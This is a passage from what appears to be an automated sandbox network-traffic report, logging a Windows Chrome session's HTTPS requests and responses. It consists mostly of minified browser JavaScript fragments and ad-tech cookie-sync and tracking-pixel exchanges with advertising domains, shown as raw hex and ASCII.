Ea?Ha?Ha.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1}function A(a){return-1!=Ga().indexOf(a)};fu
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 65 3d 77 61 28 64 29 3b 69 66 28 22 61 72 72 61 79 22 3d 3d 65 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 64 2e 6c 65 6e 67 74 68 29 7b 65 3d 61 2e 6c 65 6e 67 74 68 7c 7c 30 3b 76 61 72 20 66 3d 64 2e 6c 65 6e 67 74 68 7c 7c 30 3b 61 2e 6c 65 6e 67 74 68 3d 65 2b 66 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 61 5b 65 2b 67 5d 3d 64 5b 67 5d 7d 65 6c 73 65 20 61 2e 70 75 73 68 28 64 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 55 61 28 61 2c 62 29 7b 61 2e 73 6f 72 74 28 62 7c 7c 56 61 29 7d 66 75 6e 63 74 69 6f 6e 20 56 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3e 62 3f 31 3a 61 3c 62 3f 2d 31 3a 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 57 61 28 61 29 7b 57 61 5b 22 20 22 5d 28 61 29 3b 72 65 Data Ascii: e=wa(d);if("array"==e\|\|"object"==e&&"number"==typeof d.length){e=a.length\|\|0;var f=d.length\|\|0;a.length=e+f;for(var g=0;g<f;g++)a[e+g]=d[g]}else a.push(d)}}function Ua(a,b){a.sort(b\|\|Va)}function Va(a,b){return a>b?1:a<b?-1:0};function Wa(a){Wa[" "](a);re
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 28 22 46 78 69 4f 53 22 29 7c 7c 41 28 22 53 69 6c 6b 22 29 7c 7c 41 28 22 41 6e 64 72 6f 69 64 22 29 29 26 26 21 28 41 28 22 69 50 68 6f 6e 65 22 29 26 26 21 41 28 22 69 50 6f 64 22 29 26 26 21 41 28 22 69 50 61 64 22 29 7c 7c 41 28 22 69 50 61 64 22 29 7c 7c 41 28 22 69 50 6f 64 22 29 29 3b 76 61 72 20 6e 62 3d 7b 7d 2c 71 62 3d 6e 75 6c 6c 2c 72 62 3d 24 61 7c 7c 61 62 7c 7c 21 6d 62 26 26 21 59 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 7a 2e 61 74 6f 62 3b 66 75 6e 63 74 69 6f 6e 20 73 62 28 61 2c 62 29 7b 76 6f 69 64 20 30 3d 3d 3d 62 26 26 28 62 3d 30 29 3b 74 62 28 29 3b 62 3d 6e 62 5b 62 5d 3b 66 6f 72 28 76 61 72 20 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 2c 64 3d 62 5b Data Ascii: ("FxiOS")\|\|A("Silk")\|\|A("Android"))&&!(A("iPhone")&&!A("iPod")&&!A("iPad")\|\|A("iPad")\|\|A("iPod"));var nb={},qb=null,rb=$a\|\|ab\|\|!mb&&!Ya&&"function"==typeof z.atob;function sb(a,b){void 0===b&&(b=0);tb();b=nb[b];for(var c=Array(Math.floor(a.length/3)),d=b[
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 79 2c 78 62 3d 21 59 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 62 74 6f 61 3b 66 75 6e 63 74 69 6f 6e 20 79 62 28 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 42 69 67 49 6e 74 7d 76 61 72 20 7a 62 3d 21 46 61 2c 41 62 3d 21 46 61 3b 76 61 72 20 45 3d 30 2c 46 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 42 62 28 61 29 7b 76 61 72 20 62 3d 30 3e 61 3b 61 3d 4d 61 74 68 2e 61 62 73 28 61 29 3b 76 61 72 20 63 3d 61 3e 3e 3e 30 3b 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 61 2d 63 29 2f 34 32 39 34 39 36 37 32 39 36 29 3b 62 26 26 28 63 3d 77 28 43 62 28 63 2c 61 29 29 2c 62 3d 63 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 61 3d 63 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 63 3d 62 29 3b 45 3d 63 3e 3e Data Ascii: y,xb=!Ya&&"function"===typeof btoa;function yb(){return"function"===typeof BigInt}var zb=!Fa,Ab=!Fa;var E=0,F=0;function Bb(a){var b=0>a;a=Math.abs(a);var c=a>>>0;a=Math.floor((a-c)/4294967296);b&&(c=w(Cb(c,a)),b=c.next().value,a=c.next().value,c=b);E=c>>
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 3d 31 3b 72 65 74 75 72 6e 5b 61 2c 62 5d 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 62 28 61 2c 62 29 7b 74 68 69 73 2e 68 3d 61 3e 3e 3e 30 3b 74 68 69 73 2e 67 3d 62 3e 3e 3e 30 7d 66 75 6e 63 74 69 6f 6e 20 49 62 28 61 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 20 4a 62 7c 7c 28 4a 62 3d 6e 65 77 20 48 62 28 30 2c 30 29 29 3b 69 66 28 21 2f 5e 2d 3f 5c 64 2b 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 47 62 28 61 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 48 62 28 45 2c 46 29 7d 76 61 72 20 4a 62 3b 66 75 6e 63 74 69 6f 6e 20 4b 62 28 29 7b 74 68 69 73 2e 67 3d 5b 5d 7d 4b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 65 6e 67 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2e 6c 65 6e 67 74 68 7d 3b 4b 62 2e 70 Data Ascii: =1;return[a,b]};function Hb(a,b){this.h=a>>>0;this.g=b>>>0}function Ib(a){if(!a)return Jb\|\|(Jb=new Hb(0,0));if(!/^-?\d+$/.test(a))return null;Gb(a);return new Hb(E,F)}var Jb;function Kb(){this.g=[]}Kb.prototype.length=function(){return this.g.length};Kb.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	50215	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1056	OUT	GET /cksync.html?cs=8&vsid=3479308330180239000V10&type=opx&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=b6718352-3281-0abd-1f7e-c94ddda5ae48 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8
2024-01-10 23:27:20 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8;Expires=Wed, 08 Jan 2025 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:20 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	50211	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	850	OUT	GET /idsync/ex/receive?partner_id=3205&partner_device_id=f6435827-796b-4521-81e9-11e581628f69&partner_url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D437%26ssp%3Dcriteo%26user_id%3D HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
2024-01-10 23:27:20 UTC	1346	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:20 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252Chttps%25253A%25252F%25252Fx.bidswitch.net%25252Fsync%25253Fdsp_id%25253D437%252526ssp%25253Dcriteo%252526user_id%25253D%252C&gdpr=0&gdpr_consent= Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	50207	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1342	OUT	GET /pcs/view?xai=AKAOjstC7FFNq17MEgQMfFzd_RebfWSNOrQijnPR4lMn43YibpJ9iOiymXyfKZdVwI8QG17IMIM1Ri0MdF1GfE-Z9iStaqvo2K9wD7v06wu6tJBPcbgVD4kk16p1zdu9Rr3Bvil2mDcRRzQvej0wj87ROBBM6vyO4pIbuYLITIbZILIm1_-we4n2r9DCs11BHOVjVGD0hVSfQv1q0k4jCYN0v_xlM9IUAgv3dEXxZe_nUgJ9OCj4RxN1MaxIk_YKPRPH-PDdpZJG3KtzOBCS2YNL5NRTxG7lDZwIhKCulUvhpBM_muFwX9BBp687wNNBGbIgl3M9IVK449a-9oOCjepDdtfJmSe3QODOg2bNKHKJ-0uyDA1wTD4b8itlfn9GBDHxtUrB3eDtCiWCnEgj94xirjdEeRxB&sai=AMfl-YQXVJXNrhpYksnFh-Js-YU8o0SKOby1CLYBkAI0ieZ4fJdbkX7bXBX1j10NkWAKHUCa2Gfe6SGe2rzCpULlvuyAhKygmlxHbVEhL89Bo3oBDnmhnMTQbdkj3X2NU3ZJL9xzvjeCw3MNY36CzzcLYTk&sig=Cg0ArKJSzNmJcgta_6T6EAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	981	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:20 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 10-Jan-2024 23:42:20 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Wed, 10 Jan 2024 23:27:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	50220	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	829	OUT	GET /pixel?google_nid=baidu_mediago&google_hm=22210ca7d904fe7322qnsv00lr8eukx3 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cdn.mediago.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:20 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:20 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	50223	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	758	OUT	GET /crum?cm_dsp_id=45&external_user_id=CAESEC-n6KJ8gvOU0fU3xp0t3Rk&google_cver=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0aa5edd1fdd-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XflAcWeuYgd0y7OxdQLMYsi%2BzKJoLsF0FcI41UWyxQzr%2FOaU0NYmbcDodIWSM3v3yLLuw5Jl%2FPlrfIeWPCRK8tu3dzdmuokNnusEKnBUBFAQKEhH8S8Aks7Cy2tZnadR1B1w0Se45%2B4wnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.4	50218	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	755	OUT	GET /rum?cm_dsp_id=88&external_user_id=ZZ8n1gANku5CxgBU&_test=ZZ8n1gANku5CxgBU HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0aa5bfc9c31-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TxUDvs3RUcqS3rXcenoXvxN%2FgPGqqEBBCeK6lLWuYIzdbprBeRptLnd7k5WU1tLyJU6WHEoLR6BrCSAIBh8SaqxdReEyAYgPJJK4JQqCEDFSvD8w%2FGuVkkG1skIeHLT2tkaa3xhrCWUuzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.4	50204	54.90.5.164	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	694	OUT	GET /getuid/15563?gdpr=0&gdpr_consent=&gpp_sid=&gpp=&r=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3D58601%26ovsid%3D HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	406	IN	HTTP/1.1 302 Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Length: 0 Connection: close Server: nginx Set-Cookie: vst=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0; Domain=.gumgum.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Path=/; Secure; SameSite=None Location: https://hb.yahoo.net/cksync.php?cs=1&type=58601&ovsid=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0 Content-Language: en-US Timing-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.4	50221	68.67.160.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	969	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=7367141199740274687; XANDR_PANID=h2PiT8wtZj0DL-RGGfCmqJvoqf_3fnc6DeeW2NL1FI4FcZuzQ3eGGGpBLeS1Y8H89WW1mi3sQEUgMwWf8G2CnG6ZndA8IXbhx_qSviYpB-0.
2024-01-10 23:27:20 UTC	1302	IN	HTTP/1.1 302 Found Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=qFI7Su_GC9_9RK1nPBjtvu_DxAoY4STz0CCs3RfmJo9qNGkr1v7Yn176QLAtsYdMFTvx6BdlCl9mWPfudDrPCVoy1r3PDObk_Zh5tqbw-0I.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 6055c346-ee3f-4fb2-8e7a-3e51e7ef3545 Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:20 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
